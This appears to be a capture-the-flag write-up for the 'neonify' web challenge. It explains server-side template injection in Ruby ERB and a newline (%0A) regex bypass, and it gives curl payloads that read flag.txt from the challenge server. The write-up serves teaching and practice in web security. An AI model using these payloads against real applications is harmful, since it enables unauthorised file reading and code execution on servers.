Challenge Description :

Name : neonify

Difficulty : Easy

Points : 20

“ It’s time for a shiny new reveal for the first-ever text neonifier. Come test out our brand new website and make any text glow like a lo-fi neon tube!“

What’s This?

The website takes input from the user and styles it in neon

Looking at the code Shows it runs ruby in the backend and checks for the user input using regex is between a-z and 0–9.

A quick Google search showed ERB is a templating system for ruby.

**What is that? **

-A user can run Ruby code in the plaintext document. As shown in the image

https://docs.ruby-lang.org/en/2.3.0/ERB.html

Vulnerability: Server-side Template Injection (SSTI)

What is that?

As the name suggests an attacker can run a user native template syntax to inject the malicious payload on the server-side. This happens when the user-provided input is directly concatenated into the template.

Ex: If we provide <%= 7 * 7 %> as the user input and the server runs this as a template and returns the provided user input it will Produce 7*7=49 Output.

When we tried to inject this we get the error

It’s because the regex is validating the user input is between 0–9 or a-z

We can search the google Ruby regex Bypass

https://brakemanscanner.org/docs/warning_types/format_validation/

An attacker can bypass this regex validator using the \n character

Approach :

The user input is sent to the server using POST Request using the in the form means application/x-www-form-encoded so we can build a payload in the URL Encode.

Anything after \n is skipped in the regex.

%0A = \n

Payload :

curl -X POST -H "Content-Type:application/x-www-form-urlencoded"  -d "neon=lol%0iamhere" [http://159.65.81.40:30169/](http://159.65.81.40:30169/)

Test if actually vulnerable :

curl -X POST -H "Content-Type:application/x-www-form-urlencoded"  -d "neon=lol%0A<%= 7*7 %>" [http://159.65.81.40:30169/](http://159.65.81.40:30169/)

Yes, it is !!

As the flag lies in the same directory as in the code let’s grab a Flag.

Final Payload :

curl -X POST -H "Content-Type:application/x-www-form-urlencoded"  -d "neon=lol%0A%3C%25%3D+File.open%28%27flag.txt%27%29.read+%25%3E" [http://159.65.81.40:30169/](http://159.65.81.40:30169/)

Pwned!